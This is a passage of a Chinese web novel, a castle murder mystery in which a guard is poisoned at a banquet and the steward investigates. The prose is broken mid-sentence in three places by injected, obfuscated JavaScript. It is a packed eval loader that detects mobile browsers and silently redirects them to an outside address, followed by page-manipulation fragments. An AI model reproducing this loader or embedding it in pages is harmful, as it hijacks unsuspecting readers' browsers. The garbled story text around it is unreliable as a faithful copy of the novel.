彻底失去血缘上的联系后,威登堡侯爵和伯爵老爷的关系就越来越紧张,还公开指责过伯爵老爷纵容他人谋害亲子。如果不是皇帝陛下一直站在伯爵老爷这边,愤怒的威登堡侯爵说不定都会为自己的死鬼外甥打上门…… 就这种关系,伯爵老爷在得了长孙后还给威登堡侯爵发了一封邀请函,对方来参加庆典……真是往人家心窝里戳刀啊! 但这又有什么关系呢? 谁让安娜夫人自己的身体不争气,谁让她儿子运气不好,谁让我们的伯爵老爷与皇帝陛下的关系好呢! 仗势欺人可不是什么坏词,而是这个世界的道理,谁有权有势谁就能横着走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176545|165203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们这些人是,贵族老爷们也是……所以威登堡侯爵就是再不服,只要皇帝陛下在一天,这口气也注定只能往自己肚子里咽! 痛痛快快笑过一场后,我也要开始为自己做打算了。 轮值结束后我就跑到主楼蹲守,终于在太阳落山之前蹲到了想见的人。 “晚上好啊,莫迪凯先生。”我在总管先生诧异的目光下露齿一笑,“您这是刚刚结束工作吗?真是辛苦了啊。” 与我开心的表情相反,莫迪凯一见到我脸直接拉了下来。 该死的老东西……如果不是为了能让未来过好点,谁稀罕巴结你! 他左右看了圈,招手带我来到一个僻静的角落才往我手里塞了点东西:“最近城堡里忙得很,我没时间……你也暂时不用来了……” 呵呵,这就想要打发我了? 今时不同往日,我也不是能用几枚银币就能打发的乞丐了! “话不是这么说的啊,莫迪凯先生。您之前可是答应我了,会为我谋一个在主楼的差事……”我摩挲着手中硬币的纹路,脸上的笑也慢慢落下,“您不会是反悔了吧?” “没有!你就不能耐心点,该给你的早晚都会给你!” 他有些烦躁地抹了把额发:“我今天已经够心烦了……你别给我找事!” 呵呵,多稀奇呢,我们的总管先生也有烦心事呐? 都这么烦心了,怎么不去找自己的小甜心偷个香、放松一下呢? 我在心中嘲讽一句,但作为一个合格的狗腿,还是要对自己的“主人”适时表示一下关心:“您遇到什么麻烦了吗?有没有我能为您效劳的地方?” “麻烦?这座城堡里现在到处都是麻烦!” 他的表情似乎更焦躁了,发泄般跺了下脚:“厨房的黛拉死了,上吊自杀!真是晦气!早不死晚不死,偏偏挑着这时候去死!厨房里就她会做糖雕,现在她死了,眼看着庆典又要开始,要是宴会的餐桌上没能摆出一个体面的糖雕,伯爵阁下不得被人嘲笑一年?!” 我的笑容瞬间僵在了脸上。 黛拉死了? 可她怎么会死?明明昨天还…… “……喂,你那是什么表情?” 莫迪凯带着狐疑看过来,很快瞪大了眼:“我是听说厨房的人说她最近在查那个帮厨的死,你不会……我不跟你说过最近城堡人多,不要再轻举妄动——” “没、不,不是我!”我咬咬牙,跟着压低声音道,“我还没来得及动手……而且我试探过,她还没发现什么……” 不但没发现什么,还被我带偏了。 昆特那家伙长得又高又凶,平时连我们这些同屋的人都有些怕他,别说一个女人……果然,自从我把昆特带到她面前,那厨娘的视线就从我移到他身上了,这些天一直在周围打探着他的事。 比起我这张脸,昆特那张好像杀人无数的脸才更值得怀疑,不是……吗…… 想到这,我乱窜的眼珠忽地顿住,凉意随着一个猜想慢慢爬上脊背。 7. 2-2 贝尔碧娜是我杀的。 杀她很容易,尤其是正在整修塔楼的石匠是个粗心人的情况下。 当时她就那么没防备地站在那里,我直接捡起落在一旁的砖头向她的后脑砸去,再加上莫迪凯先生的有意遮掩,一切就必然会以“意外”结束。 这也不能怪我呀。 杀人又不是什么好差事,如果有得选我也不想费这个力气。 伯爵阁下一向厌恶居住在西塔楼上的隐士,那一排本就僻静的房间便更少有人靠近,慢慢反而成了有心人幽会的场所。 贝尔碧娜不该去给那个隐士送饭,她是死于自己的烂好心,这又能怪谁呢? 看吧,现在她死了,那位看到了一切的老修士却一言不发,只有一个没本事的厨娘发现了蹊跷,还肯为她奔走…… 该死……黛拉!她到底是怎么死的?我才不信她是自杀! 至少昨晚,昨晚我们分开的时候,她还完全没有一点要自杀的意思。 她自以为自己的调查做得很隐蔽,可从她找上那个被逐出的城堡的石匠开始,我就知道她在怀疑贝尔碧娜的死因了。 我当然不能让她发现什么。在我的刻意引导下,她最近一直在打探昆特那家伙……昨晚会再次出现在西塔楼,说不定也是因为我说出的那些话…… 昨晚我说的那些虽然有些夸大成分,但并不是完全的谎言。 有段时间我确实看到昆特在西塔楼这边晃悠,只是当时我也在做些隐秘的工作,即使看到他也不能上前打招呼…… 难道我无意中真说中了? 昆特真的在西塔楼有什么秘密,被那个厨娘发现后就把人灭口了? 不知何时,我已经走回位于门楼的宿舍。 宿舍里很热闹,同样交班结束的两三人正在热火朝天地聊着什么,只有昆特照例一言不发地坐在窗边,借着窗外最后的光线保养着自己的护具。 看着那张被夕阳勾勒出的黝黑侧脸,那些原本打好的腹稿突然卡了一下。 “嘿杰恩!你刚刚去哪儿了?” 见我回来,哈特立刻兴奋朝我招起手:“听说那个重大消息了吗?厨房那边有个厨娘被发现上吊自杀了!” 该死……哈特什么时候能管住自己那张臭嘴! “是、是啊,真是想不到……” 我向昆特的方向瞥了眼,见他还在低头擦拭自己的头盔,便端起假笑应和了一声:“现在生活这么好了,怎么还会有人想不开自杀呢?” “话也不能这么说啊……”哈特叹息着说道,“黛拉,那个自杀的厨娘,据说是跟之前意外被砖头砸死的帮厨关系很好。听说她早年有个女儿,却因为体弱生下没多久就去世了,算是把贝尔碧娜当成亲女儿看……她丈夫前些年也去世了,现在当成女儿的人也死了,这人一时没想开也是有的。” “居然是因为这个?”旁边的人七嘴八舌地讨论起来,“又不是她亲生女儿,不至于吧?” “就是,贝尔碧娜的亲生父母都只是拿了补偿走了。伤心归伤心,也没听说他们为一个女儿自杀啊?” “可她就是在贝尔碧娜死的地方上吊自杀的啊。除了是因为这事还能因为什么?你们倒是说说?” 见大家都低头沉思起来,我也跟着低下头,沉默走到自己的床铺前。 只是心里有个想法一直在冒头,好奇心驱使着我忍不住看了眼坐在窗边的那人。 就这样,我与昆特那双黑漆漆的眼睛对上了视线。 被发现的瞬间,我几乎要双腿一软跌倒在地,但我还是撑住了。 可更糟糕的是,对面那人似乎并不打算收回视线,只死死盯着我,好像我如果不开口解释就要一直这么对视下去…… “那个……昆特你觉得呢?” 我勉强朝他露出一个笑,同时解释了看过去的原因:“我看你好像对这件事也蛮感兴趣的……” 随着我的话,室内众人的目光也跟着看过去,总算让我的心跳平复了一点。 “…………” “不知道,应该就是自杀吧。” 他终于移开视线,垂着眼继续擦拭手中的头盔。 “……那,你不觉得她自杀得有点突然吗?” 也许是身边还有人,让我能大着胆子继续追问一句:“那个黛拉之前我不是还带你见过?我总感觉她不是个会冲动自杀的人。” 昆特擦拭的动作顿住。 “所以,你觉得她不是自杀。” 低沉喑哑的声音从他喉咙里吐出,却像是带上了别的什么意味:“你对她这么了解?” 再次对上那双黑漆漆的眼睛,我只觉得大脑开始发麻,连带着舌头都不受控制了。 “当、当然没有,我跟她又不熟……” 我勉强撑着假笑,赶紧把话题引到其他地方:“不过你们知道吗?这次庆典莫迪凯先生可是费了不少功夫。不但运来了好几只孔雀和天鹅,据说还会弄来一只海豚,那天的餐桌上一定很有看头!” “有看头又怎样?咱们也吃不到啊……” 话题总算拐向老爷们的餐桌,我也跟着松了口气。 可不知是不是我的心理作用,从那天开始,我总觉得有人在暗处盯着我看……尤其是晚上,真是活见鬼了! 直觉告诉我,那道视线就来自昆特。 我们一个宿舍里的人都出身附近的农户,近二十年伯爵领内很和平,没遇到什么攻城战事,大家平时最多会杀一只鸡……只有昆特,他作为北方来的雇佣兵手上不知沾了多少人的血,只有他跟我们的眼神不一样。 是不是那句冲动之下的问句让他产生了警惕? 他是不是还在怀疑我,怀疑我知道黛拉的是有异常? 这些问题不停折磨着我,让我在夜晚难以安睡,难得的休息时间居然变得比工作时更加紧张。 不能再这样下去了,我必须远离这个人! 不管他是不是跟那个厨娘的死有关我都不想知道!我只想要远离这个人,最好再也不要见到他! 于是,最近我愈加频繁地开始找莫迪凯先生说话,要求他兑现曾经许给我的好处。 这次我没有狮子大开口,只要求他把我调离门楼和前堡场就行。 作为这座城堡的总管,这种简单的调动莫迪凯先生还是能做主的。 见我的要求如此简单,他也很满意,第二天便给我安排进了中堡场,做起了主楼的守卫。 尽管这份报酬没有预想中的好,但能这么快摆脱那个可怕的家伙也算值得。 至于报酬的差价……既然我都来到主楼了,还能找不到机会继续讨要? 我怀着激动的心情来到主楼,之前堆积在心口的阴云一扫而空。 不过主楼的工作也没有那么好做。 由于能在主楼工作的侍从都是有一定身份的体面人,最差的出身也是骑士家的孩子,那竞争程度可比守卫们之间的竞争激烈多了。有些人为了个“好职位”也能跟总管先生公然叫板。 就像酒窖的新管窖人,总管先生原本已经定好了人选,可伯爵阁下的贴身侍从也想让自己的亲戚去。 尽管最后还是总管莫迪凯先生更胜一筹,但伯爵阁下的贴身侍从怎么说都是一位男爵的次子,在城堡中的人脉并不少,这几天可给莫迪凯惹了不少麻烦事。 眼看着总管先生的脸色一天黑过一天,我决定还是不要在这个时候触霉头,等庆典过了再提“补偿差价”的事。 被调来主楼的第五天,伯爵领中的大小领主纷纷应邀来到城堡,这场借着降临日的名头、实则为了庆祝伯爵长孙诞生的庆典正式开始了。 庆典预计要持续好几天。在众人最期待的马上长枪比赛之前,第一天的晚上伯爵老爷自然要大开宴席款待所有人。 从一大早开始,厨房里就忙得热火朝天,据说光是猪就杀了八只! 厨房里的人忙不过来,连端菜的侍者们都不够用了,时不时还有人喊些路过的守卫去帮忙。 不过这都不在我的职权范围内。 现在我已经在主楼有了正式的岗位,在室内工作,不需要像那些巡逻的守卫那样顶着大太阳贴着墙行走,连一滴汗都不会出。 好处总不会凭空掉下来。 如果只是一味埋头干活,不懂钻营,干多少年也不过是个随处可见的守卫,一个没有任何人会在乎的守卫……即使是昆特也不例外。 哒哒—— 突如其来的脚步声让我不得不收回向外探看的视线。 下一秒,一个脸上包着面巾、手里提着木桶和拖把的人直接拐进了我所在的厕所。 “……抱歉,我不知道这里有人。” 那人看见我,没有立刻走进来,反而向后倒退几步。 不需要自我介绍我也能从他身上散发出的味道知道——这是个城堡的淘粪工,清理厕所自然也是他们的日常工作之一。 我可不想沾染上那股可怕的味道,尤其是在马上要去工作的时候。 我快速起身,拿起立在一旁的武器走向我的新岗位。 我今天的岗位就在宴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176546|165203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会厅门口的走廊。 即使隔着墙和大门,厅内热烈的声音也能听到一些。 不过比起宴会厅内,此时走廊里的热闹也不差。 端着各色餐食的侍者排队聚集在这里,烤肉和香料飘散出的香气充斥在整个走廊内,简直无孔不入……如果时间再长点,我想我从里到外都要染上相同的香气了。 就在我努力将那些香味吸进肚子时,莫迪凯却匆匆从走廊另一侧走来。 “这都什么时候了?你们怎么还不进去上菜?!” 尊贵的总管先生一开口就没好话,全部的怒气都冲着为首的侍者发泄出来:“磨磨叽叽的,是打算让伯爵阁下和贵客们的食物都凉掉吗!” 为首的年轻侍者似乎并不怕他,反而高高扬起下巴,指向我身边的空位:“无意冒犯,莫迪凯先生。我们也想尽快上菜,可‘您安排的’那位品尝员从早上就一直在厕所内外奔忙,到现在都没有就位,这是让我们把没有验过的食物直接端进去吗?” 哈!有靠山就是不一样,连这种时候都能继续顶嘴。 我可不相信那位品尝员这么大胆,敢在如此重要的宴会前一天吃坏肚子,不过是因为他是“总管先生安排的品尝员”罢了。 莫迪凯先生明显也明白这一点,面皮都跟着抽搐了一下,但这点小麻烦他显然不放在眼里,很快就找到了解决方案。 “试个菜而已,就算品尝师不在场也可以让别人来。他们几个不也能做?”他指向我和周围的几个守卫,还顺势摇头叹息着教育道,“你行事这么死板可不行啊。这次事小,要是下次还不懂变通,丢了伯爵阁下的脸面,就算是培林先生帮你说话也没用。” 不等那侍从反驳,他赶紧朝我使了个眼色:“今天便宜你们了,还不快过来帮忙!” 这确实是天大的好事! 别说伯爵老爷的饭菜,就算是骑士们的饭菜也比我们这些普通护卫强太多了!就算是一口也行啊! 那年轻侍从显然不太乐意,不过他到底也不敢真在这时候跟总管闹翻,只能不甘不愿地拿出一把勺子递给我。 我也想要表现得体面一些,但被那香味折磨了这么长时间,我实在忍不住,刚拿到勺子就舀了一勺就塞进嘴里。 “嘿!你这人!” 那年轻侍从气得脸都红了,一把夺过我手中的勺子,用手帕仔细擦了下,把盘子里的肉末再次抹匀,这才让人端到一旁。 “你,到一边去!”他狠狠瞪了我一眼,又指向在场另一名守卫,“你过来。” 大概是吸取了教训,他没有直接把勺子给出去,而是亲手在边缘刮了点肉末,确定不会影响整体美观,这才向前递去。 我有些后悔自己刚刚太过莽撞,不过看到那侍从抠搜的样子,悔意很快消失。 这侍从又无法左右守卫这边的调度,而且我已经是总管先生这边的人了,讨好他我又得不到好处,还不如实实在在吃那么一口肉。 不过话说回来,即使是伯爵老爷的饭也就那么回事。 这些钱没处花的老爷们似乎都喜欢给肉里塞过多的香料。那东西闻着是好闻,吃起来也就一般般,甚至点苦味,舌头都被刺激得发麻,真不知道那有什么好吃的…… 正这么想着,我的胃部突然感到一阵绞痛,巨大的恶心感让我吐了出来。 一阵天旋地转后,我已经不受控制地软倒在地。 我听到周围传出惊呼声,可我已经没有能力思考他们在喊什么了。 好像有人在我的嘴里点了一把火,那股可怕的灼热感烧掉了我的舌头,让我无法呼吸,连一句话都说不出来。 我瞪着眼看向上方,对上了莫迪凯那双惊慌的眼睛,突然什么都明白了。 好啊……原来他没打算放过我…… 这倒也是……我也知道他了和伯爵夫人的奸情,帮他做了脏活,还以此数番威胁……这个奸诈的老东西怎么可能会放过我…… 只不过当时他需要有人帮他除掉更加不可控的贝尔碧娜,所以短暂留了我一命…… 现在贝尔碧娜的事已经被所有人遗忘,终于要轮到我了。 一股强烈的恨意让我爆发出力量,伸出手,用力向那张可憎的脸庞抓去。 可他的动作好快,不等我抓到那张可恶的脸,他人已经闪到一旁,而我那只沾满呕吐物的手仅仅来得及抓住他的袍角。 我最后的报复,居然只有这么一点。 我看着那片被弄脏的袍角在眼前晃了两晃,盯着它,盯着它……最终无力地倒在地上。 9. 3-1 吾主在上!他怎么突然就…… 看到杰恩突然呕吐着倒到了地上,脸色由红转紫,我震惊之余脑中突然冒出一个词—— 中毒。 他中毒了,绝对是中毒了! 他刚刚还好好的,是吃了即将端上桌的一道菜才……这是有人要给伯爵阁下下毒啊! 我想要更靠近点去看他的情况,可那小子不知发什么疯,我刚一靠近他就突然暴起、狰狞着一张脸向我扑来,不知道的还以为我是他的仇人呢! 好在我反应快,他大概因为中毒也行动迟缓,这才让我及时躲过,只是被抓了下袍子的下摆…… 真脏啊! 出了这事我必然没时间去换衣服了,得赶紧把事情禀告给伯爵阁下……希望到时候宴会厅里别有人发现才好。 “别愣着了,还不快继续!” 我蹲下检查过杰恩的尸体,确定他已经死亡,这才把那个已经吓傻的侍从拎到一旁:“我回来之前,你必须试出都有哪些菜里有毒!” “什、什么……”他似乎终于回过神,可表情显然更加惊恐,“这、我们这里哪有那么多人能试毒……” ……真是个废物啊! 这群贵族出身的少爷们都是这样,平时给人添堵的事做得还算顺手,真遇到事就只会大惊小怪。 “人不够用,狗和老鼠还能不够用吗!” 经过提醒,他的脸色总算好看了些。 我又严厉地重复一遍,这才匆匆往宴会厅走去。 现在宴席还没有正式开始,餐桌上只上了蜜饯和甜酒。 真是不幸中的万幸……我之前还悄悄抱怨过,自从雅各布少爷娶了个跟罗兰王室有点亲戚关系的妻子,不但宴席的上菜顺序要按照罗兰王室的规矩来,还要增设一个专门试毒的“品尝员”,不知道的还以为她是个公主,嫁了一个国王…… 幸好幸好,现在这繁琐的上菜流程反倒帮了大忙。 我的视线悄悄扫过诸位宾客的脸,见众人都在互相谈笑,没有人面露痛苦,悬着的心总算放下了那么点,之后又加快脚步走到最上首的伯爵阁下身边。 伯爵阁下今年五十一岁了。 他年轻的时候身材还算精壮,但年纪大了身形难免走形,与年轻的伯爵夫人坐在一起甚至会给人一种两人是“父女”的感觉……也难怪他们夫妇这些年的关系愈加冷淡。 我无视了伯爵夫人抛来的隐晦视线,只俯身小声而快速地将整件事汇报给伯爵阁下。 果不其然,在我说出品尝菜色的人中毒身亡后,浓眉下那双眼中的愉悦慢慢褪去,逐渐转为狠厉。 “……有多少道菜被下了毒?还是都有?” “我来之前已经试了一大半,目前只有最开始的那道鹿肉糜酱出了问题。” 我微微俯身,恭敬答道。 伯爵阁下放下酒杯,像一只被冒犯领地的雄狮,视线缓而慢地扫过下首那些还处于欢庆中的人。 “是冲着我来的啊……” 半晌,他从鼻孔中哼出一口气:“我就说菲利普那家伙的肚量怎么变大了,不跑来骂我就算了,居然能心平气和地派人送来一份贺礼……原来这才是他真正的‘贺礼’!” 说完,他还犹不解气般问道:“那屎鸟派来的使者呢?” 伯爵阁下能用“屎鸟”称呼一位侯爵,我却不敢,只能继续恭敬回答:“威登堡侯爵阁下的信使在十天前就离开了。” “呵,跑得倒是快……” 伯爵阁下看了我一眼,忽地笑道:“你是不是觉得我是多想了?” 这种问题我哪敢回答啊! 不过要说整个帝国谁最想让眼前的尼托伯爵阁下去死,威登堡侯爵确实会稳稳占据第一位的宝座。 遥想三十多年前,上任尼托伯爵和威登堡侯爵还在世的时候两家关系好得很,甚至因此结为姻亲,谁能想到现任的伯爵阁下和侯爵阁下能闹到日日夜夜祈祷对方去死的地步呢? 说起来,两家之所以会闹到这一步,还是那场联姻惹的祸。 据说很多年前,伯爵阁下的父亲——老尼托伯爵曾救过老威登堡侯爵一命,两人因此成为至交好友。 老威登堡侯爵子嗣艰难,年过四十膝下也只有一个活到成年的女儿,当时大家都默认威登堡家要出一个女继承人了。 想来那时的老威登堡侯爵是真的想要报答老尼托伯爵啊,否则也不会把自己的独女——威登堡的安娜夫人嫁给救命恩人的儿子,这就相当于宣告他死后威登堡侯爵领大概率要与尼托伯爵领合并了。 而且为了自己和女儿的体面,他甚至把侯爵领中最肥沃的一大块土地作为安娜夫人的嫁妆拱手送了过来……谁听说这件事不会赞扬他一句“大方”呢? 可世间万事总是这样,意外总是在最不经意时降临。 谁能想到老威登堡侯爵能在四十八岁、一个大部分人都埋进土里的年纪里生出个儿子? 侯爵领有了真正的继承人,伯爵阁下扩张领土的计划瞬间化为泡影,连带着与安娜夫人的关系也冷淡了下来。 别说伯爵阁下这边,老威登堡侯爵也必然因为给出的土地后悔了。 可嫁妆给出去就是给出去了,他到底疼爱女儿,于情于理也不能再要回来。 况且那时安娜夫人也已经生下了伯爵阁下的长子,未来继承那片土地的也是自己的外孙。再加上自己的儿子还小,不知道能不能真的活到成年,就算能也许在未来也需要女婿照拂…… 综合这么多原因,那时的两家还能勉强维持表面的和谐。至少当我从城堡中老人的口中听说时,他们在那个时候还没有什么龃龉。 我相信,那十年的“平静”都要归功于安娜夫人。 夹在丈夫和父亲中间的女人总不会太好过。 但只要她在,老侯爵看在女儿的份上也不会跟女婿真的翻脸。 而另一方面,安娜夫人想要为了稳固自己在丈夫心中的地位,只能做一件事——生孩子。 一个长子远远不够。 年幼的孩子太容易夭折了,这点安娜夫人最清楚。 她从小就在不断看到自己的手足因为各种各样的问题离去,这也许是她如此急切想要继续生孩子的原因。 可惜吾主并不总是那么仁慈。 生下长子后的八年里,安娜夫人不断怀孕也不断流产,即使有两次挺到了分娩,生下的也不过是个死胎。 最后一次,她与已经成型的小儿子一起见了吾主……这对她来说也许是个解脱吧,可对她的丈夫和父亲来说就是麻烦的起点。 长女的去世本就让老侯爵悲痛欲绝,可更让他气愤的是,仅仅几个月后自己的好女婿就再次迎娶了一位新娘。 这位新晋的伯爵夫人显然比自己的女儿运气好,短短三年就生下一女一男两个孩子,且看上去依旧身体健康,在短暂休息了一年后便再次怀孕了。 我就是那时候接受了伯爵夫人母家的派遣,来到这座城堡做事。 至今我还清晰记得,流于表面的欢乐和暗藏在阴影里的恐慌笼罩着那位可怜的贵妇人,每天都会因为继子或是鄙夷或是愤怒的目光瑟瑟发抖,直到再也忍受不住才向自己的母亲写信求助。 她是个没什么脑子的女人。出嫁前依赖父母,出嫁后即使厌恶也不会反抗自己的丈夫……这辈子做过最大胆的事大概就是会在暗地与我偷情。 我不喜欢这种女人,可我也确实需要她。 如果没有伯爵夫人的支持,我不会这么快取得伯爵阁下的信任,也不会在现在的年纪成为城堡的总管。 但说这个女人会为了自己的孩子而设计杀死继子,我是不信的。 不但因为她实在没那个胆量,也因为她所有不能直白摆在台面上的行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176548|165203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动都是由我协助完成。 那个男孩跟他的母亲——安娜夫人一样,实在缺乏一些运气。 否则也不会因为从马上摔下就摔断了脖子,年纪轻轻断送了性命。 事情就是这个巧合而没有道理,偏偏对伯爵夫人最有利,也难怪这么多年威登堡侯爵一直坚信自己那可怜的外甥是被她谋杀的。 不过随着那男孩的死,尼托家中最后一个有着威登堡家族血脉的人也埋进了土里,那块写着安娜夫人名字的土地归属重新成了问题。 按照传统习惯,如果妻子死亡且没有儿女留存于世,她的娘家有权力收回她的嫁妆,其中当然也包括“土地”这一项。 可传统是传统,能规范要脸面的人,但要真厚脸皮占着,旁人除了骂一句“不要脸”也做不了什么。 有些小市民也许会因为避免麻烦让出亡妻那点嫁妆,贵族们却绝不会吐出自己吞下的土地,整块大陆上为这种事而开战的例子简直数不胜数。 当时的老威登堡侯爵未必没有想过用开战的方式夺回土地,可十几年前正赶上又一次大饥|荒,实在不是开战的好时机。 同时老侯爵已经年迈,年幼的未来侯爵阁下也未成年,他就算想要开战也召集不到多少人。 而如果要向上讨公道,那就更是笑话了。 谁都知道,我们的伯爵阁下年少时曾在皇帝陛下身边做过侍从,关系非比寻常,曾有传言说皇帝陛下对待伯爵阁下如对待亲子般亲切。 即使当时的皇帝陛下还只是北博伊公爵,可他的实力在整个帝国里也算数一数二,只有疯子才会主动跟他作对。 老侯爵当时不敢招惹伯爵阁下身后的北博伊公爵,那在他死后,当北博伊公爵正式去雷慕接受加冕、真正成为帝国的皇帝后,他的儿子——现在的威登堡侯爵就更加无法从姐夫手里夺回姐姐的嫁妆了。 随着一次次的上诉失败,威登堡侯爵对伯爵阁下的恨意自然累积到了一个新高度。 再加上雅各布少爷前些年也被送到皇帝陛下身边,同样得到了皇帝陛下的重视和亲自教导,成为板上钉钉的伯爵领继承人,伯爵阁下的行为就开始肆无忌惮起来。 过去他还会收敛些,现在大概是年纪大了,再加上儿子有出息想要炫耀,几乎隔三岔五就要写信向自己的死对头炫耀一下。 尤其是这次,雅各布少爷作为顶替了侯爵外甥的“得利者”,为他生了儿子而庆祝这种事,不管从伦理还是礼节上都不该向威登堡那边发出邀请……可伯爵阁下偏偏这么做了,还偏偏在信中用“我的长子”称呼雅各布少爷。 别说是一位侯爵阁下了,如果伯爵阁下不是我的主人,我都会觉得他被自己的“前小舅子”揍一顿都是轻的。 更何况现在的威登堡侯爵可是个有名的暴脾气,盛怒之下提枪杀到城堡外都有可能,派人在这样的好日子里下毒也不是很令人惊讶。 伯爵阁下最爱肉食,尤其是那道鹿肉糜酱,几乎每餐都要来几勺。 这种相当隐私的个人偏好,除了在城堡厨房工作的人,曾经的亲家会知道也不奇怪。 现在的问题是侯爵阁下的信使早在十天前就离开了伯爵领,没有在城堡内逗留,更没有参加这次宴席……要说毒真是他们下的实在有些牵强。 “你觉得人走了,就不可能下毒了?” 也许是我沉默的时间太长,伯爵阁下再度冷笑一声,凉凉道:“今天多少人进出厨房?多少人端过那只盘子,其中多少不是城堡内的人?就算是城堡里的,又会有多少人能因为钱财而动摇……还需要我继续说下去吗,莫迪凯?” 一滴冷汗无知无觉地从额头滑到眼角,辣得我忍不住伸手抹了一下。 “我会调查清楚。” 我撑着几乎要软下去的双腿,更加谦卑地弯下腰:“请给我一点时间,阁下,我一定会揪出那个下毒的刺客!” 10.3-2 不知算不算幸运,除了最开始那盘鹿肉糜酱,其他所有菜都没再出现问题。 我以为为了保险,伯爵阁下会取消这一晚的宴席,却没想到他只是让我命令所有见到杰恩被毒死的人都闭上嘴,封锁厨房,又用借口打发走自己的儿子和儿媳,像是没事人般让晚宴照常举行。 我心惊胆战地看着毫不知情的宾客们大快朵颐,杰恩死前的惨状不断在我眼前回放,真怕他们中会再出一个那样的倒霉蛋。 吾主保佑,我担心的事没有发生。 除了伯爵和伯爵夫人似乎都兴致不高,没吃多少东西,有些人因此对伯爵阁下的身体感到担忧外,整场晚宴算是宾主尽欢,并没有人露出奇怪的表情或行为——至少在我的观察下是这样。 尽管伯爵阁下表面上没再说什么,但城堡内的庆典要持续七天,这七天里几乎每天晚上都有晚宴。 我不仅要尽快抓到那个下毒的人,同时还要保证这段时间不再有类似的意外发生……真是想想就让人头疼。 不过工作就是工作,就算头疼也要完成。 尽管我觉得威登堡侯爵派人下毒的可能性并不高,但如果不能尽快给伯爵阁下一个交代,恐怕我也不必在城堡里待下去了。 毕竟培林那小子还在一旁虎视眈眈,就等着我出一个大纰漏好替代我的位置,我怎么可能让他如愿? 我深吸一口气,重新打起精神,让人找来伯爵阁下的专属医生。 杰恩死得太突然了。虽然大家的第一反应都是中毒,但还是让专业的人来看看才保险。 一旦他是本来就有病,只是偶然在那个时间暴毙,那我们大家也能从这虚惊一场中解脱了。 可惜这次父神没有站在我这边,不等医生来检查尸体,同样被人喂了一口肉糜而暴毙的狗也证明了那盘食物中确实有剧毒。 果不其然,医生只是简单检查了下杰恩的尸体,并询问了下他死亡前的症状以及他平时的身体状况,立刻便判定他是中毒而死。 “您看看他的脸,都变成紫色了!” 医生将他的脸掰过来,向我展示道:“按照您说的,他一开始是呕吐,然后倒到地上很快就死了。如果是身体本身就有疾病,那就只能是心脏有问题。可心脏有问题的人平时应该会有表现,他既然平时看上去都很健康,又这么年轻,那就一定是中毒。” 看着那张红到发紫的脸,我心里有些发毛,忍不住瞥开视线。 “你知道有什么毒药会在吃下不久后立刻让人死亡吗?” “具体多久?” “差不多就你刚刚检查的这点时间。” “那倒是挺罕见的。” 医生既震惊又有些好奇道:“那些长在野外的毒物就算被误食一般也不会这么快发作,即使发作了也不会这么快把人毒死,连抢救的时间都没有……他到底吃了什么啊?” 是即将端上伯爵阁下餐桌的一盘食物——这当然不能直接说出来。 我给了医生一个意味深长的眼神,没有回答,反而继续发问:“如果不是野外的毒物呢?比如那些灭鼠药,误食后会像这样把人吃死吗?” 医生显然犯了难。 最后他只无奈地表示,自己作为一个医生在下毒方面着实没什么经验,也没能在自己职业生涯中遇到会误食大量老鼠药以至于自己能被毒死的蠢货,唯一能做的只有给我列一张写满有毒草药名字的清单。 尽管没有太多直接收获,但我也从医生那里得知了不少关于这些毒草的特点:那些生长在野外的毒物,即使误食也不会在太短的时间发作并杀死一个成年人。 而如果一定要用毒杀死一个成年人,要么是那人本身就体弱,要么就要吃下的毒物足够多。 杰恩年轻健壮,显然不符合第一点,那就一定是他吃下的毒足够多。 可他毒发时我就在旁边,那盘肉糜他只吃了一勺,那只同样被用来试毒的狗也一样,只喂它吃了几口就很快毒发死亡,这显然不符合医生给出的特征。 “我知道一些炼金术士可以用特殊的器具从毒物里提取出更纯粹的毒素,只要一滴就能要人性命。” 听到我提出的疑问后,医生也说出了另一个可能:“不过这都是我听说的,从来没见过。我对炼金术没什么研究,也许只是一种比较夸张的说法……” 确实足够夸张,简直像是从吟游诗人口中说出来的故事……可我居然也想不到比这个更解释现状的可能了。 只是如果那毒药是什么炼金术师的杰作,那从毒源去找凶手的方法便行不通了。 研究炼金术可不是什么正道。 尤其从二十多年前开始,当时的教皇冕下明确颁布禁令,所有有关炼金术的研究都必须被禁止,资助其研究的人也会被追责,以惩罚这些妄图改变神造物的狂徒。 但那可是传说能点石成金的神奇法术,就算是教皇颁布的禁令也无法阻止人们对黄金的向往,很多人不过是把这方面的研究转到地下进行。 当然,这都是有钱人才能享受的“游戏”。光是一套玻璃器具就足够一户农家吃三五年,而一个炼金术士显然不能只有一套工具。 现在还能秘密研究炼金术的,不是有身份的贵族也该是接受着贵族资助的学者。我听说这些人有时会组织一些集会,不过因为明面上是被禁止的活动,只会在内部举行。 